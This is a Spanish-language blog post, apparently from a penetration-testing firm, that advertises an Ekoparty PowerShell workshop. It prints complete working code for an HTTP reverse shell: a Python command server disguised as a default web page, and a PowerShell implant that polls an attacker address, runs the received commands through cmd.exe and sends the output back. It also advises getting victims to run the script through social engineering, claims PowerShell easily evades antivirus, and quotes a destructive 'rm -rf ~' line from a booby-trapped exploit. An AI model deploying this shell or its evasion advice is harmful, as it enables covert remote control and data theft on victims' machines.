Shell Reversa sobre HTTP con PowerShell

En unos días mas se inicia la edición 11 de Ekoparty, una conferencia muy reconocida, a la que tuvimos el gusto de asistir hace algún tiempo, en la República Argentina, país hermano que nos ha dado tantos buenos recuerdos.

Como dicen, para muestra un botón, así que les presentamos algo básico de lo que podrán ver en el workshop de “PowerShell para Pentesters” que desarrollarán Walter Cuestas y Mauricio Urizar, dos miembros de Open-Sec, con amplia experiencia en diversas áreas de la seguridad informática.

El día de hoy les presentamos una Shell Reversa que se comunica con su “maestro” a través de HTTP y esta implementada en PowerShell. Durante los ataques del lado del cliente, se puede emplear una combinación de técnicas o emplear ingeniería social con la finalidad de lograr que el usuario ejecute el script malicioso.

El uso de ingeniería social para lograr que la “víctima” ejecute nuestro script es nada descabellado, varios desarrolladores hacen uso de código que encuentran en la web y muchas veces ni lo revisan, incluso los pentesters reconocidos no se encuentran libres de este tipo de descuidos, recuerdo una vez que un buen amigo (que mantendremos en el anonimato por obvias razones) buscó un exploit para una vulnerabilidad y para su sorpresa encontró uno hecho que prometía hacer el trabajo gratis, luego de ejecutarlo y no ver la shell prometida, se dió con la amarga sorpresa de que el “exploit” había borrado los archivos de su “directorio home”, entre otras lineas de código había una con el siguiente comando: “rm -rf ~”.

¿Qué es PowerShell?

Según Microsoft (https://technet.microsoft.com/es-es/library/bb978526.aspx): Windows PowerShell® es un lenguaje de scripting y shell de línea de comandos basado en tareas diseñado especialmente para la administración del sistema. Creado con Microsoft .NET Framework, Windows PowerShell ayuda a los profesionales de TI y a los usuarios experimentados a controlar y automatizar la administración tanto del sistema operativo Windows como de las aplicaciones que se ejecutan en Windows.

Los comandos de Windows PowerShell, denominados cmdlets, permiten administrar los equipos de la empresa desde la línea de comandos. Los proveedores de Windows PowerShell permiten obtener acceso a almacenes de datos (como el Registro y el almacén de certificados) con la misma simplicidad con que se obtiene acceso al sistema de archivos. Además, Windows PowerShell tiene un analizador de expresiones muy completo y un lenguaje de scripting totalmente desarrollado.

Según la perspectiva de un pentester:

PowerShell es una poderosa herramienta de scripting que permite ejecutar casi cualquier tarea de pentesting desde MS Windows, claro no es lo mismo tener un nmap instalado en nuestra víctima, pero si no lo esta con PowerShell podemos fácilmente ejecutar un escaneo de puertos o cualquier otra cosa que nos imaginemos.

¿Por qué usar PowerShell?

Muchas veces hemos logrado acceso a servidores donde solo han instalado el software indispensable, y queremos intentar comprometer otro servidor, ante la falta de herramientas instaladas, podemos hacer uso de diversas técnicas, entre ellas el uso de PowerShell.

Con PowerShell es relativamente sencillo evadir cualquier antivirus, además es tan potente como lo sea tu imaginación, así que no hay limites para los scripts que desees desarrollar.

Entre mas familiarizado estés con Microsoft .Net Framework mas sencillo te será desarrollar scripts para atacar.

Como vemos en la imagen, la “víctima” se comunica con el “atacante” pasando a través de los servidores firewall, proxy, anti-malware, para esto emplea el protocolo HTTP, donde el “atacante” envía un comando que será ejecutado en la víctima y finalmente la víctima retorna el resultado del comando. La ventaja de usar PowerShell es que existen muchísimas formas de hacer ataques, y muchísimas formas de evadir las firmas de los anti-malware, además es posible enviar los comandos cifrados, emplear HTTPS, emplear el proxy de la empresa, etc, con la finalidad de evitar los filtros anti-malware.

El paso de variables entre víctima y atacante lo realizaremos a través de cabeceras HTTP, codificadas en base64. El componente “maestro” perteneciente al atacante esta desarrollado en Python, envía el comando a través de la cabecera CMD y recibe la respuesta a través de la cabecera RPTA.

El código del “maestro” es el siguiente:

from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer
import base64
PORT= 80
class clsMaster(BaseHTTPRequestHandler):

   def do_GET(self):
     self.send_response(200)
     if (self.headers.get('RPTA')):
       rpta=self.headers.get('RPTA')
       print base64.b64decode(rpta)

     else:

       cmd = base64.b64encode(raw_input("command:>> "))
       self.send_header('CMD',cmd)
       self.end_headers()
     self.wfile.write("<html><body><h1>It
works!</h1><p>This is the default web page for this
server.</p><p>The web server software is running but no
content has been added, yet.</p></body></html>")
     return
try:
   server = HTTPServer(('',PORT), clsMaster)
   server.serve_forever()
except KeyboardInterrupt:
    server.socket.close()

El script que deberá ser ejecutado en la “víctima” se conecta al “atacante”, recibe los comandos a ser ejecutados y envía las respuestas, todo esto a través de cabeceras HTTP codificadas en base64:

while (1)
{
<#direccion URL del atacante#>
$server = "http://192.168.0.32/";
$req = [System.Net.HttpWebRequest]::Create($server);
<#
#############################################################
#                   Proxy Configuration                     #
#############################################################
#$proxy=[System.Net.WebRequest]::GetSystemWebProxy();
#$proxy.Credentials=[System.Net.CredentialCache]::DefaultCredentials;
#$req.proxy = $proxy
#############################################################
#>
$res = $req.GetResponse();
$cmdcoded = $res.GetResponseHeader("CMD");


<#decodifica el comando cmd enviado en base64#>
$cmd = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($cmdcoded));


<#crea y ejecuta un proceso cmd.exe con los comandos enviados por el atacante#>
$psi= New-Object System.Diagnostics.ProcessStartInfo;
$psi.FileName = "cmd.exe";
$psi.RedirectStandardOutput = $true;
$psi.RedirectStandardInput = $true;
$psi.RedirectStandardError = $true;
$psi.UseShellExecute = $false;
$process = New-Object System.Diagnostics.Process;
$process.StartInfo = $psi;
$process.Start();
$process.StandardInput.WriteLine($cmd);
$process.StandardInput.WriteLine("exit");
$standardOut = $process.StandardOutput.ReadToEnd();
$process.WaitForExit();


<#codifica la respuesta en base64#>
$rpta=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($standardOut));
$res.Close();
<#inicia otra petición para enviar la respuesta al atacante#>
$req2 = [System.Net.HttpWebRequest]::Create($server);
$req2.Headers.add('RPTA',$rpta);
$res2 = $req2.GetResponse();
$res2.Close();

Cuando ejecutamos ambas partes podemos ver en la ventana de comandos del atacante lo siguiente:



Y en la ventana de la víctima lo siguiente:

 Si desean conocer mas al detalle como emplear PowerShell para labores de pentest, vayan a Ekoparty y asistan al Workshop “PowerShell para Pentesters”, y si no pueden viajar pueden hacer sus peticiones para que lo repitan en PeruHack 2015.

Información del Workshop “PowerShell para Pentesters”

Descripción : El uso de PowerShell para la labor de un pentester va mas alla de la post-explotación hoy en día. Este workshop muestra como realizar labores de pentesting básicas desde cero (escaneo de puertos y servicios, carga y descarga de archivos, bypass de restricciones de ejecución) hasta su aplicación en ataques del lado cliente, post-explotación y el uso de scripts avanzados que forman parte del arsenal de un pentester.

BIOS :

Walter Cuestas Agramonte

Actual Gerente General de Open-Sec, empresa peruana dedicada a desarrollar servicios de ethical hacking y análisis de incidentes de seguridad informática. Dirige el equipo de hackers profesionales de Open-Sec desde el 2006.

Su labor se basa en desarrollar técnicas de intrusión y su interés principal está en el desarrollo de scripts para pentesting. Es instructor del curso de Ethical Hacking (PCC Seguridad Informática) en TECSUP e Instructor Autorizado por Mile2 en el nivel Senior.

Cuenta con las certificaciones OSCP, C)PTC, C)PTE y C|EH.

Ha participado como expositor en eventos como LimaHack, Campus Party Quito, CSI Pereira y eventos de OWASP Latam.

También, ha publicado artículos en revistas especializadas como Hakin9, PenTest Magazine y Hack-in-Sight.

Mauricio Urizar Franco

Mauricio Urizar es investigador en Seguridad y Consultor en Open-Sec. Sus principales intereses en el campo son las técnicas de explotación de vulnerabilidades, la ingeniería social, la investigación en vulnerabilidades en aplicaciones de pago así como cajeros Automaticos(ATM), cajeros (ventanilla)/cores bancarios,puntos de venta (PoS), switches transaccionales. Focalizado en Seguridad de tipo ofensiva, Mauricio ha descubierto públicamente vulnerabilidades críticas en este tipo de infraestructuras. Trabaja hace 8 años exclusivamente como proveedor de servicios de seguridad ofensiva (pentester) para empresas de distintos rubros como energía, financieras, medios, ventas, gobierno, servicios y organizaciones de desarrollo de software.